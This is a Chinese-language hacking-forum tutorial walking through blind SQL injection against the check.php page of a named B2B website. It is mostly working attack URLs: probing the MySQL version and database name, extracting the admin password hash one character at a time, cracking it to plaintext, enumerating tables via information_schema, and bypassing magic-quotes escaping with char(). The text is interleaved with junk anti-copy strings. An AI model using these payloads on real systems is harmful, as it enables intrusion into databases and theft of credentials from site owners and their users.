|
本文实例来自习科论坛交流三群。这个注入点可以使用错误回显注入来爆数据,本文出于讲解的目的,使用更麻烦的盲注。
O# p4 w" A$ ^4 V+ s& p( r3 q阅读本文,需要有一点点SQL基础。盲注理解起来其实非常简单,就是做起来非常费劲
) D3 n: P% i; `; ]: C% E4 a% y8 W1 x作者:YoCo Smart1 M" ~: |: h! u# l1 X) I: h7 m4 u3 _
来自:习科信息技术 - http://BlackBap.Org
' f8 P3 _: Y( ` Y6 ?我们先来看注入点,是一个B2B网站建站公司: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin
- 用户名已被注册
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'
- select userid from demo_b2b_member where user = 'admin''You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin''' at line 1
2 f3 o a( _5 F! }; m. o. J! M, ?) ]
5 e0 u4 D4 g5 Q, E! Z" t复制代码
( \% y$ n8 i3 X/ c1 O错误提示已经很明了了。我们看一下注入页面的代码(有删改): - $js_user = trim($_GET["js_user"]);
- if($js_user){
- $num = $db->num_rows("select userid from demo_b2b_member where user = '$js_user'");
- if(!$num)
- echo "<div class=tips3></div>";
- else
- echo "<div class=tips2>用户名已被注册</div>";
- }
. h. C1 C, }! ]( X
7 C& h7 c9 o4 _9 F3 g5 e% U$ y复制代码, P2 }; D, Q- P; v6 _3 \; F6 q* A. _
以GET方式取值的变量js_user虽然没有过滤被直接带入了数据库执行,并且MySQL也执行了,但是并没有显示数据库的任何信息,而是判断是否符合8 Y7 `- e3 C/ b0 z2 M6 q8 F: F
那么我们先从union的盲注来看吧。+ K! c0 ?+ l: @+ r- F
先看版本: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(version(),1)=5%23
7 l" [7 `& L' [
* L6 R3 a# w: z' ?( z' J复制代码( ]( b' F: U8 T8 W: V4 j
这个时候我们来看看原来的代码中的SQL语句是怎么执行的: - select userid from demo_b2b_member where user = 'admin'and left(version(),1)=5#'
( T5 V2 W2 a: F) ]& e# a F ( D' T5 ~; ^: J" x5 p7 s
复制代码
' w/ \, y- S ~! {7 e* C因为执行成功,所以不符合if(!$num)这个条件,回显“用户名已被注册”,那么版本为5成立& E' g- E. p3 K: i9 [
再来看database()的数据: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length(database())=6%23
- database()长度6
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),1)='l'%23
- l
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),2)='li'%23
- li
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),3)='lic'%23
- lic
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),4)='licl'%23
- licl
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),5)='licln'%23
- licln
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),6)='liclny'%23
- licclny
+ N7 V3 v) l1 O7 q " e3 _, ~, Y7 S' P' I" ~8 C0 o
复制代码
T+ O+ ^+ c" x0 p* A. ~/ L- Xlength()函数是计算括号中数据的长度,回显为纯数字,可以用大于小于和等于号来判断是否正确。
6 M4 g2 F2 w6 c5 ?* N# a# L I1 ?这里要注意看一下left()函数中的数字变化,关于left()函数,可以自行参考MySQL手册。! X2 H: V2 A/ f" e/ g. J/ f9 m4 K
再来看一点简单的判断句: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length(pass)=32%23
- select userid from demo_b2b_member where user = 'admin'and length(pass)=32#'7 L- q% N4 M' p2 l I1 _; F) X; Q) h: r
7 }8 O5 v) k3 K, B Y3 Z复制代码- N, ~# X- [) J" s
这个时候length()函数中的pass是猜测的,当然是建立在猜测正确的基础上。- f. e( U+ ^1 t# q$ W
这里要说的是,pass和前面select后的userid同属一个表段demo_b2b_admin,所以不需要再带select语句
& c" n4 }1 @+ j+ U那么这里就能得到: - 这里最后没有'#这个终止符,大家带进去看一下,你们懂得。前开后闭。
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,1)='0
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,2)='04
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,3)='048
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,4)='0484
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,5)='04843
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,6)='04843e
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,7)='04843e9
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,8)='04843e9f
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,9)='04843e9f9
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,10)='04843e9f91
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,11)='04843e9f91a
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,12)='04843e9f91ad
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,13)='04843e9f91adf
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,14)='04843e9f91adf2
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,15)='04843e9f91adf22
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,16)='04843e9f91adf228
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,17)='04843e9f91adf2287
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,18)='04843e9f91adf2287c
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,19)='04843e9f91adf2287c0
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,20)='04843e9f91adf2287c0a
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,21)='04843e9f91adf2287c0af
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,22)='04843e9f91adf2287c0af5
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,23)='04843e9f91adf2287c0af5f
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,24)='04843e9f91adf2287c0af5fe
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,25)='04843e9f91adf2287c0af5fe1
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,26)='04843e9f91adf2287c0af5fe16
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,27)='04843e9f91adf2287c0af5fe167
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,28)='04843e9f91adf2287c0af5fe1675
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,29)='04843e9f91adf2287c0af5fe16750
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,30)='04843e9f91adf2287c0af5fe16750a
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,31)='04843e9f91adf2287c0af5fe16750a3
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,32)='04843e9f91adf2287c0af5fe16750a35
- 长度是32,是md5加密,解密得到lcl2wly
+ Q* X8 R4 U- a* J% ~9 d7 B $ c) ~. V" K1 w$ K
复制代码9 w0 t% l6 T t
这样,猜数据的方法你肯定是懂了" o" k" d. s+ X' |9 K0 T
( h3 G' F# N2 g) L0 X" \: Y* s4 c. e+ M. I, G' u& [1 j
最后,我们来看demo_b2b_admin以外的数据,现在再来猜表段: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))<100%23
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))=14%23+ a; q8 S9 B/ a. S- f
; ?) b9 {* m" B! ^, e
复制代码5 U9 t1 D! J9 @1 U! @7 i7 j
实际运行的SQL语句就是: - select userid from demo_b2b_member where user = 'admin'and length((select table_name from information_schema.tables limit 0,1))=14#'
- o" D* w" G6 y8 R% i" d 2 Q* v9 u# R+ F. }5 O V
复制代码
s7 X- ?: m3 l上面这个语句,对于information_schema不明白的,可以参考其他MySQL注入文章来看一下这个库的意义。 U( c5 A4 D7 \0 ?- H
关于limit x,y 的用法,可以参考MySQL手册
: c/ ]+ B: x& {% f# T, }3 e `
/ n; R6 H& t$ h) @" b T最后剩下的要说的就是ascii函数和hex函数了, d: b. m$ \( R5 K1 [
这两个函数的意义是避开php的GPC转义,例如: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+substr(left(pass,1),1,1)=char(48)%23
- select userid from demo_b2b_member where user = 'admin'and substr(pass,1,1)=char(48)#
- \8 F1 A5 [) `4 A! Y$ p
& C4 u9 Z1 m; M- q8 G' w: n+ E5 z复制代码+ F* v( _, r% F1 g9 O7 ], V
substr()的用法可以参考MySQL手册,如果不懂,就这样套好了。Char()里面的数字替换为ascii码数字 |
|